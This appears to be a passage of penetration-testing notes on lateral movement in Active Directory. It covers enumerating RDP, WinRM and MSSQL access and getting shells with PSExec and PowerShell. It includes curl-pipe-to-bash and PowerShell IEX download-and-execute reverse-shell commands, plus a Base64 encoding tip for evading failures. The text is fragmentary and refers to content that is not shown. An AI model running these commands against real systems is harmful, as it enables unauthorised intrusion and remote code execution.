An operator with control over a domain account can gather most of the domain information. This includes a domain user account that can connect remotely to domain-joined hosts due to certain rights provided directly to itself or via group membership
Attackers often overlook this type of primes, where they compromise a domain user account which is not a local admin on any domain-joined host but has remote access to one or more of them, and then, they can use that account in order to stablish a remote connection and proceed with further actions such as pillaging, privesc and so on
This type of user accounts have these rights as they belong to groups such as Remote Desktop Users (RDP) and Remote Management Users (WinRM) or have a sysadmin role on a MSSQL instance
Therefore, we should always enumerate this remote accesses and don’t overlook any of them as they can make the difference during an assessment where all our resources have run out
To do so, the most efficient and easiest way would be using BloodHound, as it has several edges related to remote connections.
However, if we wan to be more manual, Powerview, along with PowerUpSQL, is the way to go
The above Reverse Shell Workflow would be the same as the following with bash
curl --silent --request GET --location "URL" | bash -
PS v3.0 or >
Target
IEX (IWR -UseBasicParsing -Uri '<URL>') # Or Invoke-Expression (Invoke-WebRequest '<URL>')
SMB
PSExec
This tool from impacket can be used to stablish a bind shell if the user authenticated has administrative privileges in the Workstation or Domain Computer
CMD
This tool allow an attacker to get a shell with cmd.exe
Sometimes it gets tricky to launch a powershell.exe instance. We can accomplish this task simply stablishing a reverse shell via Invoke-Expression aka IEX
If something goes wrong and the reverse connection cannot be stablished, just change the above powershell command’s scheme codification to UTF-16LE and Base64 encode it